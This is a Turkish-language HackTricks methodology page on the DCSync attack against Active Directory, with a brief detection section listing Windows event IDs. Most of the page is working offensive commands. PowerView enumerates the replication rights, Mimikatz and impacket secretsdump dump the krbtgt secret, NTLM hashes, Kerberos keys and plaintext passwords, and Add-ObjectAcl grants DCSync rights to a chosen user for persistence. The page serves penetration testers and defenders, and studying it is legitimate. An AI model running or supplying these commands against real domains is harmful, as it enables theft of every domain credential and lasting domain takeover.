hacktricks/windows-hardening/active-directory-methodology/dcsync.md

7.2 KiB
Raw Blame History

DCSync


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen otomatikleştirilmiş iş akışları oluşturun ve kolayca kullanın.
Hemen Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

DCSync

DCSync izni, etki alanı üzerinde şu izinlere sahip olmayı ima eder: DS-Replication-Get-Changes, Replicating Directory Changes All ve Replicating Directory Changes In Filtered Set.

DCSync Hakkında Önemli Notlar:

  • DCSync saldırısı, bir Etki Alanı Denetleyicisinin davranışını taklit eder ve diğer Etki Alanı Denetleyicilerinden bilgiyi replike etmelerini ister. Bu, Dizin Replikasyon Hizmeti Uzak Protokolü (MS-DRSR) kullanılarak gerçekleştirilir. MS-DRSR, Active Directory'nin geçerli ve gerekli bir işlevi olduğundan devre dışı bırakılamaz veya devre dışı bırakılamaz.
  • Varsayılan olarak sadece Etki Alanı Yöneticileri, Kurumsal Yöneticiler, Yöneticiler ve Etki Alanı Denetleyicileri grupları gerekli ayrıcalıklara sahiptir.
  • Eğer herhangi bir hesap şifresi tersine çevrilebilir şifreleme ile saklanıyorsa, Mimikatz'da şifreyi düz metin olarak geri döndürme seçeneği bulunmaktadır

Numaralandırma

Bu izinlere kimin sahip olduğunu powerview kullanarak kontrol edin:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Yerel Sömürü

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Uzaktan Sömürü

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dc 3 dosya oluşturur:

  • biri NTLM karmaları ile
  • biri Kerberos anahtarları ile
  • NTDS'den açık metin parolaları içeren bir dosya, tersine çevrilebilir şifreleme etkinleştirilmiş hesaplar için. Tersine çevrilebilir şifreleme ile ayarlanmış hesapları alabilirsiniz:
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Kalıcılık

Eğer bir etki alanı yöneticisiyseniz, powerview yardımıyla bu izinleri herhangi bir kullanıcıya verebilirsiniz:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Sonra, kullanıcının doğru şekilde atanıp atanmadığını kontrol edebilirsiniz, bunları (ayrıcalıkların adlarını "ObjectType" alanı içinde görebilmelisiniz) çıktıda arayarak kontrol edin:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Azaltma

  • Güvenlik Olay Kimliği 4662 (Nesne için denetim politikası etkin olmalıdır) - Bir nesne üzerinde işlem yapıldı
  • Güvenlik Olay Kimliği 5136 (Nesne için denetim politikası etkin olmalıdır) - Bir dizin hizmeti nesnesi değiştirildi
  • Güvenlik Olay Kimliği 4670 (Nesne için denetim politikası etkin olmalıdır) - Bir nesne üzerinde izinler değiştirildi
  • AD ACL Tarayıcı - ACL'lerin oluşturulması ve karşılaştırılması için raporlar oluşturun. https://github.com/canix1/ADACLScanner

Referanslar

Sıfırdan başlayarak AWS hacklemeyi htARTE (HackTricks AWS Red Team Expert) öğrenin!

HackTricks'ı desteklemenin diğer yolları:


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}